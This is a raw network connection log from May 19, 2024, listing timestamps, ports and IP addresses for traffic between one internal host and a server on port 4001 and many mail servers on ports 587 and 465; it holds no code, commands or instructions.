May 19, 2024 17:27:45.309700966 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.309731007 CEST	587	49779	142.93.237.125	192.168.2.4
May 19, 2024 17:27:45.309760094 CEST	587	49920	84.116.6.22	192.168.2.4
May 19, 2024 17:27:45.309855938 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.309883118 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.315537930 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.318077087 CEST	49803	465	192.168.2.4	116.203.217.231
May 19, 2024 17:27:45.318109989 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.320305109 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.320343018 CEST	587	49783	129.213.13.252	192.168.2.4
May 19, 2024 17:27:45.320369959 CEST	587	49804	80.91.55.62	192.168.2.4
May 19, 2024 17:27:45.320400953 CEST	587	49772	209.67.129.55	192.168.2.4
May 19, 2024 17:27:45.320429087 CEST	587	49767	62.149.128.200	192.168.2.4
May 19, 2024 17:27:45.320456028 CEST	587	49912	91.196.0.18	192.168.2.4
May 19, 2024 17:27:45.320483923 CEST	587	49873	213.209.1.145	192.168.2.4
May 19, 2024 17:27:45.320513010 CEST	587	49879	213.209.1.145	192.168.2.4
May 19, 2024 17:27:45.320545912 CEST	587	49951	84.116.6.22	192.168.2.4
May 19, 2024 17:27:45.320624113 CEST	49951	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:45.320692062 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.325043917 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.325092077 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.329562902 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.329593897 CEST	465	49803	116.203.217.231	192.168.2.4
May 19, 2024 17:27:45.329622984 CEST	465	49803	116.203.217.231	192.168.2.4
May 19, 2024 17:27:45.329653025 CEST	587	49826	209.71.208.9	192.168.2.4
May 19, 2024 17:27:45.329680920 CEST	49803	465	192.168.2.4	116.203.217.231
May 19, 2024 17:27:45.329766989 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.330703974 CEST	587	49820	168.0.132.203	192.168.2.4
May 19, 2024 17:27:45.330737114 CEST	587	49820	168.0.132.203	192.168.2.4
May 19, 2024 17:27:45.330809116 CEST	49820	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:45.330837011 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.332926989 CEST	587	49820	168.0.132.203	192.168.2.4
May 19, 2024 17:27:45.333035946 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.333035946 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.333581924 CEST	49866	587	192.168.2.4	64.136.52.44
May 19, 2024 17:27:45.335160971 CEST	587	49820	168.0.132.203	192.168.2.4
May 19, 2024 17:27:45.335247993 CEST	587	49820	168.0.132.203	192.168.2.4
May 19, 2024 17:27:45.335263968 CEST	49807	587	192.168.2.4	194.19.134.66
May 19, 2024 17:27:45.335264921 CEST	49820	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:45.335277081 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.335319042 CEST	587	49820	168.0.132.203	192.168.2.4
May 19, 2024 17:27:45.335338116 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.335338116 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.335369110 CEST	49820	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:45.335376024 CEST	587	49820	168.0.132.203	192.168.2.4
May 19, 2024 17:27:45.335405111 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.335405111 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.335406065 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.335438967 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.339952946 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.339981079 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.340008020 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.344666958 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.344696045 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.344722986 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.344749928 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.344778061 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.349226952 CEST	49819	587	192.168.2.4	91.136.8.56
May 19, 2024 17:27:45.350434065 CEST	49917	587	192.168.2.4	94.100.132.8
May 19, 2024 17:27:45.354113102 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.354140997 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.364871025 CEST	49779	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:45.364892006 CEST	49920	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:45.371376991 CEST	587	49807	194.19.134.66	192.168.2.4
May 19, 2024 17:27:45.376246929 CEST	587	49870	35.214.83.212	192.168.2.4
May 19, 2024 17:27:45.379200935 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.379200935 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.380459070 CEST	49826	587	192.168.2.4	209.71.208.9
May 19, 2024 17:27:45.384149075 CEST	587	49854	175.135.252.193	192.168.2.4
May 19, 2024 17:27:45.389012098 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.390649080 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.390794992 CEST	49820	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:45.391149044 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.395520926 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.400226116 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.413793087 CEST	49807	587	192.168.2.4	194.19.134.66
May 19, 2024 17:27:45.418765068 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.418796062 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.418826103 CEST	587	49925	62.149.128.203	192.168.2.4
May 19, 2024 17:27:45.418853998 CEST	587	49793	52.63.237.70	192.168.2.4
May 19, 2024 17:27:45.425561905 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.426059008 CEST	49836	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:45.427309036 CEST	49870	587	192.168.2.4	35.214.83.212
May 19, 2024 17:27:45.427419901 CEST	49854	587	192.168.2.4	175.135.252.193
May 19, 2024 17:27:45.428754091 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.433479071 CEST	587	49783	129.213.13.252	192.168.2.4
May 19, 2024 17:27:45.433549881 CEST	587	49851	194.185.246.171	192.168.2.4
May 19, 2024 17:27:45.437900066 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.438262939 CEST	587	49941	79.96.63.102	192.168.2.4
May 19, 2024 17:27:45.442991972 CEST	587	49836	193.122.179.25	192.168.2.4
May 19, 2024 17:27:45.443027020 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.444123983 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.444123983 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.449259996 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.458070993 CEST	587	49820	168.0.132.203	192.168.2.4
May 19, 2024 17:27:45.458210945 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.458210945 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.458230972 CEST	49952	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:45.458544016 CEST	49793	587	192.168.2.4	52.63.237.70
May 19, 2024 17:27:45.460344076 CEST	49925	587	192.168.2.4	62.149.128.203
May 19, 2024 17:27:45.463335991 CEST	587	49820	168.0.132.203	192.168.2.4
May 19, 2024 17:27:45.463538885 CEST	49820	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:45.468178034 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.472011089 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.472973108 CEST	587	49952	194.153.145.104	192.168.2.4
May 19, 2024 17:27:45.473052979 CEST	49952	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:45.473790884 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.474165916 CEST	49851	587	192.168.2.4	194.185.246.171
May 19, 2024 17:27:45.476310968 CEST	49783	587	192.168.2.4	129.213.13.252
May 19, 2024 17:27:45.476624012 CEST	49953	587	192.168.2.4	188.114.96.3
May 19, 2024 17:27:45.477957964 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.483016014 CEST	587	49953	188.114.96.3	192.168.2.4
May 19, 2024 17:27:45.483088017 CEST	49953	587	192.168.2.4	188.114.96.3
May 19, 2024 17:27:45.483169079 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.488056898 CEST	587	49772	209.67.129.55	192.168.2.4
May 19, 2024 17:27:45.488168955 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.489800930 CEST	49941	587	192.168.2.4	79.96.63.102
May 19, 2024 17:27:45.496814966 CEST	49954	587	192.168.2.4	104.26.6.119
May 19, 2024 17:27:45.497864008 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.497927904 CEST	587	49823	202.124.241.204	192.168.2.4
May 19, 2024 17:27:45.498151064 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.498313904 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.498346090 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.502855062 CEST	587	49954	104.26.6.119	192.168.2.4
May 19, 2024 17:27:45.502975941 CEST	49954	587	192.168.2.4	104.26.6.119
May 19, 2024 17:27:45.503014088 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.507742882 CEST	587	49942	217.74.65.52	192.168.2.4
May 19, 2024 17:27:45.512624025 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.514313936 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.519408941 CEST	587	49879	213.209.1.145	192.168.2.4
May 19, 2024 17:27:45.519440889 CEST	587	49742	194.153.145.104	192.168.2.4
May 19, 2024 17:27:45.519470930 CEST	587	49912	91.196.0.18	192.168.2.4
May 19, 2024 17:27:45.519603968 CEST	49742	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:45.521538973 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.521600008 CEST	49742	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:45.521634102 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.521814108 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.524538994 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.524614096 CEST	587	49873	213.209.1.145	192.168.2.4
May 19, 2024 17:27:45.524641991 CEST	587	49767	62.149.128.200	192.168.2.4
May 19, 2024 17:27:45.524669886 CEST	587	49804	80.91.55.62	192.168.2.4
May 19, 2024 17:27:45.525568962 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.525624990 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.525680065 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.529539108 CEST	587	49742	194.153.145.104	192.168.2.4
May 19, 2024 17:27:45.534259081 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.534291983 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.534904957 CEST	49822	587	192.168.2.4	162.214.54.15
May 19, 2024 17:27:45.534950018 CEST	49811	587	192.168.2.4	72.18.132.28
May 19, 2024 17:27:45.535077095 CEST	49888	587	192.168.2.4	34.160.63.108
May 19, 2024 17:27:45.535167933 CEST	49901	587	192.168.2.4	103.224.30.254
May 19, 2024 17:27:45.535314083 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.535339117 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.536683083 CEST	49772	587	192.168.2.4	209.67.129.55
May 19, 2024 17:27:45.539768934 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.541270971 CEST	587	49836	193.122.179.25	192.168.2.4
May 19, 2024 17:27:45.541373968 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.541374922 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.544990063 CEST	587	49836	193.122.179.25	192.168.2.4
May 19, 2024 17:27:45.545059919 CEST	49836	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:45.545123100 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.549787045 CEST	587	49836	193.122.179.25	192.168.2.4
May 19, 2024 17:27:45.549849987 CEST	587	49836	193.122.179.25	192.168.2.4
May 19, 2024 17:27:45.549880981 CEST	587	49836	193.122.179.25	192.168.2.4
May 19, 2024 17:27:45.549906015 CEST	49836	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:45.549947977 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.549947977 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.550017118 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.552350044 CEST	49823	587	192.168.2.4	202.124.241.204
May 19, 2024 17:27:45.552351952 CEST	49942	587	192.168.2.4	217.74.65.52
May 19, 2024 17:27:45.555430889 CEST	587	49822	162.214.54.15	192.168.2.4
May 19, 2024 17:27:45.555485964 CEST	587	49811	72.18.132.28	192.168.2.4
May 19, 2024 17:27:45.555516958 CEST	587	49888	34.160.63.108	192.168.2.4
May 19, 2024 17:27:45.555546045 CEST	587	49901	103.224.30.254	192.168.2.4
May 19, 2024 17:27:45.555573940 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.555603027 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.562200069 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.562252998 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.568090916 CEST	49879	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:45.568095922 CEST	49767	587	192.168.2.4	62.149.128.200
May 19, 2024 17:27:45.568203926 CEST	49912	587	192.168.2.4	91.196.0.18
May 19, 2024 17:27:45.568203926 CEST	49873	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:45.569227934 CEST	49804	587	192.168.2.4	80.91.55.62
May 19, 2024 17:27:45.575283051 CEST	587	49908	194.152.32.10	192.168.2.4
May 19, 2024 17:27:45.575333118 CEST	587	49944	150.214.204.12	192.168.2.4
May 19, 2024 17:27:45.575432062 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.575432062 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.582741022 CEST	49955	587	192.168.2.4	41.193.157.227
May 19, 2024 17:27:45.587763071 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.592469931 CEST	587	49955	41.193.157.227	192.168.2.4
May 19, 2024 17:27:45.592649937 CEST	49955	587	192.168.2.4	41.193.157.227
May 19, 2024 17:27:45.592848063 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.599229097 CEST	49836	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:45.614938974 CEST	49944	587	192.168.2.4	150.214.204.12
May 19, 2024 17:27:45.630498886 CEST	49908	587	192.168.2.4	194.152.32.10
May 19, 2024 17:27:45.630702019 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.635587931 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.638482094 CEST	49828	587	192.168.2.4	46.255.231.70
May 19, 2024 17:27:45.638490915 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.638530016 CEST	49763	587	192.168.2.4	213.153.32.148
May 19, 2024 17:27:45.638787985 CEST	49887	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:45.638850927 CEST	49795	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:45.638905048 CEST	49930	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:45.639084101 CEST	49883	587	192.168.2.4	103.152.248.23
May 19, 2024 17:27:45.639132977 CEST	49932	587	192.168.2.4	194.19.134.66
May 19, 2024 17:27:45.639698982 CEST	49956	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:45.639908075 CEST	49957	587	192.168.2.4	104.18.2.81
May 19, 2024 17:27:45.640374899 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.645665884 CEST	587	49828	46.255.231.70	192.168.2.4
May 19, 2024 17:27:45.684211969 CEST	587	49763	213.153.32.148	192.168.2.4
May 19, 2024 17:27:45.684267998 CEST	587	49887	213.209.1.145	192.168.2.4
May 19, 2024 17:27:45.684298992 CEST	587	49795	213.209.1.145	192.168.2.4
May 19, 2024 17:27:45.684329987 CEST	587	49930	84.116.6.22	192.168.2.4
May 19, 2024 17:27:45.684360981 CEST	587	49883	103.152.248.23	192.168.2.4
May 19, 2024 17:27:45.684391022 CEST	587	49932	194.19.134.66	192.168.2.4
May 19, 2024 17:27:45.684426069 CEST	587	49956	194.153.145.104	192.168.2.4
May 19, 2024 17:27:45.684456110 CEST	587	49957	104.18.2.81	192.168.2.4
May 19, 2024 17:27:45.684484959 CEST	587	49888	34.160.63.108	192.168.2.4
May 19, 2024 17:27:45.684560061 CEST	49957	587	192.168.2.4	104.18.2.81
May 19, 2024 17:27:45.684652090 CEST	49956	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:45.684714079 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.684714079 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.684714079 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.690001011 CEST	587	49811	72.18.132.28	192.168.2.4
May 19, 2024 17:27:45.690578938 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.694966078 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.700834036 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.713319063 CEST	587	49822	162.214.54.15	192.168.2.4
May 19, 2024 17:27:45.714515924 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.714515924 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.714829922 CEST	587	49822	162.214.54.15	192.168.2.4
May 19, 2024 17:27:45.718329906 CEST	587	49822	162.214.54.15	192.168.2.4
May 19, 2024 17:27:45.718492031 CEST	49822	587	192.168.2.4	162.214.54.15
May 19, 2024 17:27:45.718492031 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.718492031 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.724317074 CEST	587	49822	162.214.54.15	192.168.2.4
May 19, 2024 17:27:45.724914074 CEST	49822	587	192.168.2.4	162.214.54.15
May 19, 2024 17:27:45.724997997 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.731237888 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.731292009 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.731326103 CEST	587	49745	104.18.2.81	192.168.2.4
May 19, 2024 17:27:45.731358051 CEST	587	49746	188.114.96.3	192.168.2.4
May 19, 2024 17:27:45.731386900 CEST	587	49744	193.81.82.81	192.168.2.4
May 19, 2024 17:27:45.731461048 CEST	49745	587	192.168.2.4	104.18.2.81
May 19, 2024 17:27:45.731494904 CEST	49746	587	192.168.2.4	188.114.96.3
May 19, 2024 17:27:45.731494904 CEST	49744	587	192.168.2.4	193.81.82.81
May 19, 2024 17:27:45.731494904 CEST	49746	587	192.168.2.4	188.114.96.3
May 19, 2024 17:27:45.731652021 CEST	49745	587	192.168.2.4	104.18.2.81
May 19, 2024 17:27:45.731662035 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.731724977 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.731813908 CEST	49744	587	192.168.2.4	193.81.82.81
May 19, 2024 17:27:45.731957912 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.732215881 CEST	49958	587	192.168.2.4	209.202.254.90
May 19, 2024 17:27:45.735971928 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.736016989 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.736047983 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.736423016 CEST	49863	587	192.168.2.4	46.182.21.2
May 19, 2024 17:27:45.736496925 CEST	49832	587	192.168.2.4	64.59.136.142
May 19, 2024 17:27:45.736619949 CEST	49787	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:45.736619949 CEST	49849	587	192.168.2.4	107.180.41.245
May 19, 2024 17:27:45.736782074 CEST	49959	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:45.739814997 CEST	49888	587	192.168.2.4	34.160.63.108
May 19, 2024 17:27:45.739849091 CEST	49811	587	192.168.2.4	72.18.132.28
May 19, 2024 17:27:45.740617990 CEST	49814	465	192.168.2.4	94.231.107.219
May 19, 2024 17:27:45.740653038 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.741190910 CEST	587	49746	188.114.96.3	192.168.2.4
May 19, 2024 17:27:45.746170998 CEST	587	49745	104.18.2.81	192.168.2.4
May 19, 2024 17:27:45.746227026 CEST	587	49744	193.81.82.81	192.168.2.4
May 19, 2024 17:27:45.746260881 CEST	587	49958	209.202.254.90	192.168.2.4
May 19, 2024 17:27:45.746298075 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.746331930 CEST	49958	587	192.168.2.4	209.202.254.90
May 19, 2024 17:27:45.746436119 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.751372099 CEST	587	49863	46.182.21.2	192.168.2.4
May 19, 2024 17:27:45.751473904 CEST	587	49832	64.59.136.142	192.168.2.4
May 19, 2024 17:27:45.751507998 CEST	587	49787	193.122.179.25	192.168.2.4
May 19, 2024 17:27:45.751538992 CEST	587	49849	107.180.41.245	192.168.2.4
May 19, 2024 17:27:45.751575947 CEST	587	49959	193.122.179.25	192.168.2.4
May 19, 2024 17:27:45.751606941 CEST	465	49814	94.231.107.219	192.168.2.4
May 19, 2024 17:27:45.751756907 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.751761913 CEST	49959	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:45.751782894 CEST	49814	465	192.168.2.4	94.231.107.219
May 19, 2024 17:27:45.756701946 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.765636921 CEST	49960	587	192.168.2.4	119.205.213.227
May 19, 2024 17:27:45.770922899 CEST	587	49960	119.205.213.227	192.168.2.4
May 19, 2024 17:27:45.772469997 CEST	49960	587	192.168.2.4	119.205.213.227
May 19, 2024 17:27:45.777132988 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.807356119 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.812465906 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.812504053 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.817578077 CEST	587	49822	162.214.54.15	192.168.2.4
May 19, 2024 17:27:45.817626953 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.817748070 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.822335958 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.827049017 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.843517065 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.843549013 CEST	587	49932	194.19.134.66	192.168.2.4
May 19, 2024 17:27:45.843579054 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.843609095 CEST	587	49930	84.116.6.22	192.168.2.4
May 19, 2024 17:27:45.843674898 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.843712091 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.843888044 CEST	49882	587	192.168.2.4	195.121.65.26
May 19, 2024 17:27:45.844070911 CEST	49837	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:45.844080925 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.844136953 CEST	49934	587	192.168.2.4	65.20.63.172
May 19, 2024 17:27:45.844207048 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.844367981 CEST	49889	587	192.168.2.4	162.241.225.12
May 19, 2024 17:27:45.844427109 CEST	49864	587	192.168.2.4	84.2.43.67
May 19, 2024 17:27:45.844691992 CEST	49961	587	192.168.2.4	41.193.157.227
May 19, 2024 17:27:45.845490932 CEST	587	49828	46.255.231.70	192.168.2.4
May 19, 2024 17:27:45.845598936 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.845598936 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.849438906 CEST	587	49828	46.255.231.70	192.168.2.4
May 19, 2024 17:27:45.849473000 CEST	587	49828	46.255.231.70	192.168.2.4
May 19, 2024 17:27:45.849500895 CEST	49828	587	192.168.2.4	46.255.231.70
May 19, 2024 17:27:45.850122929 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.853390932 CEST	587	49828	46.255.231.70	192.168.2.4
May 19, 2024 17:27:45.854600906 CEST	49828	587	192.168.2.4	46.255.231.70
May 19, 2024 17:27:45.854670048 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.854671001 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.857395887 CEST	587	49828	46.255.231.70	192.168.2.4
May 19, 2024 17:27:45.857475042 CEST	587	49849	107.180.41.245	192.168.2.4
May 19, 2024 17:27:45.857506037 CEST	587	49787	193.122.179.25	192.168.2.4
May 19, 2024 17:27:45.857534885 CEST	587	49887	213.209.1.145	192.168.2.4
May 19, 2024 17:27:45.857647896 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.857681036 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.857723951 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.857772112 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.860548973 CEST	49822	587	192.168.2.4	162.214.54.15
May 19, 2024 17:27:45.862178087 CEST	587	49795	213.209.1.145	192.168.2.4
May 19, 2024 17:27:45.862226009 CEST	587	49882	195.121.65.26	192.168.2.4
May 19, 2024 17:27:45.862258911 CEST	587	49837	213.209.1.145	192.168.2.4
May 19, 2024 17:27:45.862288952 CEST	587	49934	65.20.63.172	192.168.2.4
May 19, 2024 17:27:45.862301111 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.862318993 CEST	587	49889	162.241.225.12	192.168.2.4
May 19, 2024 17:27:45.862350941 CEST	587	49864	84.2.43.67	192.168.2.4
May 19, 2024 17:27:45.862385035 CEST	587	49961	41.193.157.227	192.168.2.4
May 19, 2024 17:27:45.862415075 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.862442970 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.862469912 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.862483978 CEST	49961	587	192.168.2.4	41.193.157.227
May 19, 2024 17:27:45.862528086 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.866929054 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.872803926 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.896076918 CEST	49932	587	192.168.2.4	194.19.134.66
May 19, 2024 17:27:45.896084070 CEST	49930	587	192.168.2.4	84.116.6.22
